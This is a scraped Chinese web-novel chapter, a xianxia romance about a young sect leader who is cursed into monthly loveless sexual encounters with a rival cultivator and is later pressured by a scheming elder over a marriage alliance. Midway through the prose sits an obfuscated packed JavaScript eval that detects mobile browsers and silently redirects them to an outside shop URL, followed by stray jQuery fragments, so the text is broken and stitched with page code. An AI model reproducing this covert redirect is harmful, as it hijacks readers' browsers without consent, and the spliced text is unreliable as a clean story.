默认冷灰
24号文字
方正启体

1. 圆月

作者:姿昂本书字数:K更新时间:
    圆月满得像是要溢出来一样,高高悬在天上,从枝叶的缝隙里筛下来,在地上印出斑驳的白痕。


    月光照耀下,林子里有一种诡异的清亮。


    百里纭笙跌跌撞撞地走着,脚步又快又乱,时不时被突起的树根绊一下,险些摔倒。额头上沁出的汗珠顺着脸颊滑落,滴进衣领里,冰凉一片。


    她咬着牙,抬起手借着月光看。


    从手背开始,一团密密麻麻的紫色纹路正像活物一样蠕动着向上蔓延。


    那纹路诡异得很,像是某种符文,又像是荆棘藤蔓的图案,每一道都深深地嵌进皮肤里。此刻它们已经越过了手腕,正向小臂延伸。


    所过之处,皮肤下像有无数根针在同时扎刺,又像是被火烧、被冰冻,疼得她几乎要叫出声来。


    百里纭笙知道,再过不久,这些纹路就会覆盖全身。到时候,疼痛会让她浑身像被抽掉了骨头一样,那感觉,曾经她经历过太多次了——求生不能,求死不得。


    “快了,就快了……”她喃喃自语。


    呼吸变得艰难,每一次吸气都像是有什么在割裂气管。她揪紧衣摆,指节泛白,继续向林子深处走去。


    这条路她来过几次,穿过这片密林,绕过那株老树,再往下走百步,就是那个山洞。


    终于,洞口出现在视线里。黑黢黢的,像一张等待吞噬的嘴。


    百里纭笙几乎是扑进去的。她伸手一挥,洞壁上的火把应声燃起,橘黄色的火光瞬间填满了整个空间。


    洞内很干净,石壁上没有蛛网,地面平整,最里面有一张石榻,上面铺着厚厚的毯子。


    百里纭笙再也支撑不住,径直向石榻倒去。


    她身体蜷缩成一团,疼痛已开始蔓延至全身,汗水浸湿了额前的碎发,黏在皮肤上。她咬住下唇,直到尝到血腥味,才勉强忍住不发出低哼。


    目光投向洞口。


    外面一片漆黑,只有月光在地上投下的光晕。


    那个人还没来。


    疼痛一波波涌来,越来越剧烈。


    百里纭笙掐紧掌心,指甲深深嵌进肉里,鲜血从指缝间渗出,沿着手腕滴落。时间变得格外漫长,每一息都像是被无限拉长。


    终于,洞口响起了脚步声。


    不疾不徐,从容镇定,和她的狼狈形成鲜明对比。


    月光勾勒出一道颀长的身影,那人走进来,火光映亮了他的脸。


    剑眉星目,鼻梁高挺,薄唇紧抿,不愧是仙门公认的百年来最俊秀的一张脸。


    萧令宜,清风明月般的名字,清风明月般的人。


    可是此刻,这张脸上没有任何表情。他的目光清冷,看不透底下是什么。


    百里纭笙的目光落在他的手上,从手背开始,同样的紫色纹路正在向上蔓延,和她身上的一模一样。


    直到看到萧令宜走入洞内,百里纭笙终于松了口气,一直紧绷的神经稍微放松了些。


    不等萧令宜走近榻前,百里纭笙已经一把抓住他的手腕,用力将他拉向自己,动作粗鲁而急切,带着一种不顾一切的疯狂。


    萧令宜没有反抗,也没有迎合,只是顺从地被她拉上床榻。他的目光始终平静无波,仿佛即将发生的一切都与他无关。


    百里纭笙颤抖着手指解开他的衣襟,动作因为疼痛而笨拙。往常这种时候,她从未听见过这个男人说话,今夜也不例外。衣物一件件滑落,露出精瘦有力的身体,肌肉线条流畅分明,却也同样爬满了那诡异的紫色纹路。


    两具身体纠缠在一起,纹路与纹路相接的瞬间,仿佛产生了某种共鸣,紫光微微闪烁。百里纭笙能感觉到,随着萧令宜的动作,身上的疼痛正在一点点缓解,像是潮水退去,留下被冲刷过的沙滩。


    喘息间隙,她看向他的脸。火光在他脸上跳跃,明明灭灭,衬得那张俊脸越发不真实。他的目光依旧清冷,一丝动情也无。他就像是在完成一项任务,例行公事,不带任何感情。


    百里纭笙忽然想笑。


    这就是他们的关系,被一个恶毒的诅咒捆绑在一起,每个月圆之夜都要上演的荒唐戏码。


    不知过了多久,萧令宜的动作停了下来。


    百里纭笙周身的疼痛已经基本消散,只余下一种虚脱般的无力感。


    她抬起手,借着火光看——那些骇人的紫色纹路已经消失无踪,皮肤恢复了白皙光滑,仿佛从未存在过。


    她仍喘息着,胸口起伏不定,看向萧令宜。


    他身上的紫纹也已经褪去,露出原本的肤色。


    男人没有丝毫留恋,起身开始穿衣,捡起散落在地上的衣物,一件件将身体包裹严实,从里衣到外袍,每一件都穿得一丝不苟。


    从始至终,他的目光都没有看向她。


    百里纭笙有时候很想问一问萧令宜,他是不是恨她。


    可是每次话到嘴边,又咽了回去。


    问了又如何呢?


    答案,她早已心知肚明。


    即使萧令宜再厌恶她,他们也已经成了这样的关系,每个月圆之夜都是一个毒咒,他们破解不了。


    这圆月,像是捆绑在他们身上的一张无形大网,挣不脱,逃不掉。


    萧令宜穿戴整齐,没有留下只言片语,转身向洞口走去。月光再次落在他身上,将他的背影拉得很长,一直延伸到百里纭笙脚边。


    百里纭笙坐起身,开始穿自己的衣服。动作慢了许多,不再有之前的急切。


    洞内寂静无声,只有衣料摩擦的窸窣声和火把燃烧的噼啪声。


    穿戴整齐后,她站起身,最后看了一眼这个山洞,这个见证了他们数次荒唐交,合的地方。石榻上的毯子凌乱不堪,提醒着她刚才发生的一切。


    她没有整理,毫不犹豫地转身离开。


    洞外的空气清新许多,带着夜露的湿润和草木的清香。圆月依然高悬,将整个林子照得朦朦胧胧。


    百里纭笙深深吸了一口气,感觉肺腑都被洗涤了一遍。


    她迈开脚步,向着与萧令宜相反的方向走去。


    月光将她的影子投在地上,百里纭笙抬起头,看向那轮圆月,眼神复杂。


    下个月圆之夜,她与萧令宜还会在这里相见。


    百里纭笙皱了皱眉,她才刚回到赤星门不久,这段日子频频应付那些老家伙,倒是忘记了与宋旭庭的婚约。


    如今,这婚约必须要尽快取消了。


    百里纭笙加快了脚步,月光静静洒下,照着她离去的背影,也照着另一个方向那道渐行渐远的身影。


    两道人影在月光下背道而驰,越来越远,最终消失在密林深处。


    只有那轮圆月,依旧冷冷地注视着一切,沉默不语。


    百里纭笙踏进赤星门大厅时,已天光大亮。


    此刻大厅内,赤星门十二位长老到了九位,二十七核心弟子列席半数,黑压压坐满了广旷的大殿两侧。


    她这个门主回来,没有一人起身。


    百里纭笙目光微敛,面色如常地继续向里走。


    晨光从高窗斜射进来,在她素白的衣袍上镀了层浅金,却暖不进她眼底。


    她步伐平稳地穿过众人沉默的注视,径直走向大殿尽头的首座。


    那把象征着赤星门最高权柄的座椅,此刻在晨光中泛着暗沉的光泽。


    百里纭笙拂衣坐下,动作自然而从容。


    直到这时,她才抬起眼,目光平静地扫过下首众人。


    那一张张脸上,表情各异。


    她的视线最终落在大厅最前排正中那人的身上。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241433|197754||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    执法长老石开途,正端坐着,手里端着杯茶,热气袅袅,模糊了他半边面容。


    “各位长老一大早便等候在此,不知是有何要事?”


    百里纭笙平淡的声音在大殿中响起,不高,却清晰地传到每个角落。


    话音落下,大殿内仍是一片寂静。


    这沉默持续得有些刻意,甚至尴尬。


    百里纭笙脸上不见怒意,只是将目光定定地投向石开途。


    石开途似乎终于感受到了这目光,不急不缓地放下茶盏,瓷器与木桌轻碰,发出清脆的声响,他这才站起身,朝首座方向虚虚一拱手,嘴角扯出一个弧度:“见过门主。”


    随着他行礼,整个大厅里的长老和弟子们才仿佛解了定身咒般,纷纷起身,参差不齐地躬身,“见过门主。”


    百里纭笙没有立刻叫他们起身。


    她的目光在石开途微微低垂的脸上停留了一息,才淡淡道:“免礼。”


    众人落座。


    百里纭笙靠在椅背上,昨夜耗尽了她大半精力,此刻没有兴趣与这帮人周旋。


    “有话直说,”她的声音里透出一丝不耐烦,“没事就退下。”


    石开途脸上那抹假笑僵了僵。


    他重新站直身子,声音洪亮了几分:“门主,我等在此恭候您已一个时辰有余,自是有要事相商。”


    百里纭笙只看着他,不说话。


    晨光在她身后愈发明亮,将她整个人笼在光晕里,看不清面上神情。


    等不到回应,石开途脸上的客气终于挂不住了。


    那强装出来的笑意褪去,他清了清嗓子,声音沉了下来:“门主,这次我们大家前来,是为了宗门长久大计。”


    “长久大计?”百里纭笙终于开口,尾音微微上扬,“石长老不妨说清楚些,是什么样的大计,需要这么多长老和弟子一早在此静候?”


    气氛陡然更加紧绷。


    石开途向前一步,他身后的几位长老也下意识地挺直了背脊。


    “门主明鉴,”石开途的声音在大殿中回荡,“自前门主失踪,您接任门主之位以来,不过三月。而此前,您在外游历一年有余,宗门事务,全赖我与诸位长老操持。”


    他顿了顿,目光扫过身后几位长老,那几位纷纷点头附和。


    “这一年多来,我等殚精竭虑,不敢有丝毫懈怠,”石开途继续道,语气渐渐带上一种刻意的诚恳,“如今门主归来,我等自然愿意尽心辅佐。只是……”


    他抬眼看向百里纭笙,那眼神里藏着不易察觉的锋芒:“门主毕竟年轻,对各殿堂事务、人事关系尚不熟悉。加之您在外这一年余,门中人心渐散,各殿堂间龃龉渐生。长此以往,内忧已生!”


    几位长老微微颔首,弟子席中传出低低的议论声。


    百里纭笙静静听着,面上依旧无波无澜。


    直到石开途说完,她才缓缓开口,声音依旧平静:“所以,石长老的意思是,我这门主是不该回来了?”


    “不敢。”


    石开途嘴上说着不敢,话语却愈发咄咄逼人,“只是为宗门计,我等商议后认为,当务之急是稳人心、定大局。门主年轻,对各分殿事务不熟,人心难以归附。石某愿为门主分忧——”


    他忽然话锋一转,目光变得意味深长:“只要门主与我石家成为一家人,石某定当鞠躬尽瘁,全力辅佐。石某在赤星门多年,威望尚存,自认能安抚各位长老和弟子之心,使宗门上下同心同德。”


    “一家人?”百里纭笙的面色逐渐严肃起来。


    石开途的目光转向一旁。


    他身旁一个约莫二十五六岁的年轻人,锦衣华服,面容尚可,但眼袋浮肿,眼神飘忽,此刻正毫不掩饰地用垂涎的目光盯着百里纭笙,嘴角挂着得意的笑。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)